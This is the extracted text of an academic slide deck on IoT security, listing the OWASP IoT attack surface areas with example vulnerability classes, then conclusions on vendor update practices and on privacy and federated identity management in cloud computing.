OWASP IoT Attack Surface Areas

Ecosystem Access Control
Device Memory
Device Physical Interfaces

Device Web Interface
Device Firmware
Device Network Services

Administrative Interface
Local Data Storage
Cloud Web Interface

Ecosystem Communication
Vendor Backend APIs
Third-party Backend APIs

Update Mechanism
Mobile Application
Vendor Backend APIs

Network Traffic

https://www.owasp.org/index.php/IoT_Attack_Surface_Areas
OWASP IoT Attack Surface Areas

- Authentication
- Session management
- Implicit trust between components
- Enrollment security
- Decommissioning system
- Lost access procedures

Ecosystem Access Control

DEF CON 23 - IoT Village - Daniel Miessler - IoT Attack Surface Mapping
https://www.youtube.com/watch?v=RxHHD790nw
Device Memory

- Cleartext usernames
- Cleartext passwords
- Third-party credentials
- Encryption keys

Device Physical Interfaces

- Firmware extraction
- User CLI
- Admin CLI
- Privilege escalation
- Reset to insecure state
- SQL injection
- Cross-site scripting
- Username enumeration
- Weak passwords
- Account lockout
- Known credentials

- Hardcoded passwords
- Sensitive URL disclosure
- Encryption keys
- Unencrypted data
- Data encrypted with discovered keys
- Lack of data integrity checks

- SQL injection
- Cross-site scripting
- Username enumeration
- Weak passwords
- Account lockout
- Known credentials
<table>
<thead>
<tr>
<th>Attack Surface</th>
<th>Vulnerability</th>
<th>Data Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Administrative interface</td>
<td>• Weak password policy</td>
<td>• Credentials</td>
</tr>
<tr>
<td></td>
<td>• Lack of account lockout</td>
<td></td>
</tr>
<tr>
<td>Local data storage</td>
<td>• Data stored without encryption</td>
<td>• PII</td>
</tr>
<tr>
<td>Web Cloud Interface</td>
<td>• SQLi</td>
<td>• PII</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Account data</td>
</tr>
<tr>
<td>Device Firmware</td>
<td>• Sent over HTTP</td>
<td>• Credentials</td>
</tr>
<tr>
<td></td>
<td>• Hardcoded passwords</td>
<td>• Application data</td>
</tr>
<tr>
<td></td>
<td>• Hardcoded encryption keys</td>
<td></td>
</tr>
<tr>
<td>Vendor Backend APIs</td>
<td>• Permissive API Data Extraction</td>
<td>• PII</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Account data</td>
</tr>
<tr>
<td>Device Physical Interfaces</td>
<td>• Unauthenticated root access</td>
<td>• ***</td>
</tr>
</tbody>
</table>
Network Traffic

What people think they have

What people actually have

- LAN
- LAN to Internet
- Short range
- Non-standard

https://www.youtube.com/watch?v=RhxHHD790nw
6. Conclusions

- Security is neglected -
- Few vendors have security updates lifecycle
  - bug report mechanism
  - update distribution
- Most of all repeat old mistakes:
  - weak or lack of authentication
    - default / hardcoded passwords
  - faulty implementation
    - lack of validation (data integrity, restrictions, requirements)
  - old protocols without cryptography
  - backdoors
    - undocumented accounts, reset to defaults, command execution

6. Conclusions

- Solution depends on many actors
  - users,
  - administrators, developers
  - manufacturers/vendors

- Important to know
  - Does the product have some "large scale" update policy?
  - Is it possible to disable unnecessary services and change default passwords?
  - Is there some remote and secure management?
  - Is it necessary to isolate devices?
  - Does the product have only updated protocols and use strong authentication and cryptography?
6. Conclusions

- Privacy issues in IAM
  - PII control of users
  - Models to assist users in data dissemination during the interaction
  - User preferences guarantees on the SP side
  - Encryption of PII
  - Security policies in IdP and SP
  - Agreement on privacy issues in federations
6. Conclusions

- Identity Management used in cloud computing
  - Help to increase cloud security
  - Federations enable SSO and improve security

- There are many challenges that still require research and practical developments!
References


References

References


- Talal H. Noor, Quan Z. Sheng, Sherali Zeadally, and Jian Yu. 2013. Trust management of services in cloud environments: Obstacles and solutions. ACM Comput. Surv. 46, 1, Article 12 (July 2013), 30 pages. DOI=http://dx.doi.org/10.1145/2522968.2522980
References


References


References

- Internet of Things – Interoperability Framework (IoTIF) - http://iot.foi.hr
Acknowledgments

- Brazilian Funding Authority for Studies and Projects (FINEP)

- Brazilian National Research Network in Security and Cryptography project (RENASIC)
Thank you!

Contacts

Carlos Becker Westphall  
(carlos.westphall@ufsc.br)

Carla Merkle Westphall  
(carla.merkle.westphall@ufsc.br)